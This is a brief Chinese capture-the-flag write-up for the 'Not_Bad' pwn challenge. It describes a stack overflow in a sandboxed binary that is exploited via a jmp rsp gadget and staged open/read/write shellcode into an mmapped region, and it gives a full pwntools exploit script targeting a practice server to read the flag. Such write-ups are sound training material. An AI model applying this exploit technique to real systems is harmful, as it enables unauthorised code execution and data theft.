极客大挑战_2019_Not_Bad
shellcode题目
mmap了一块空间,加了沙盒来个orw。
可以考虑栈迁移,但是既然可以shellcode,那就看一下怎么使用
前面mmap了一块,可以将shellcode写到mmap那里,然后借助gadget跳到mmap去执行。
刚好有一个jmp rsp这个跳板,思路就是使用jmp rsp这个跳板跳到buf头中被写入的payload。再用shellcraft.read(0, mmap, 0x100)
mov rax,0x123000;call rax
这两个shellcode来使得可以将orw写入mmap那个空间并执行
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28122)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
mmap = 0x123000
jmp_rsp = 0x0000000000400a01
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, mmap + 0x100, 0x50)
shellcode += shellcraft.write(1, mmap + 0x100, 0x50)
shellcode = asm(shellcode)
p1 = asm(shellcraft.read(0, mmap, 0x100)) + asm('mov rax,0x123000;call rax')
p1 = p1.ljust(0x28, b'\x00')
p1 += p64(jmp_rsp) + asm('sub rsp, 0x30; jmp rsp;')
r.send(p1)
r.send(shellcode)
r.interactive()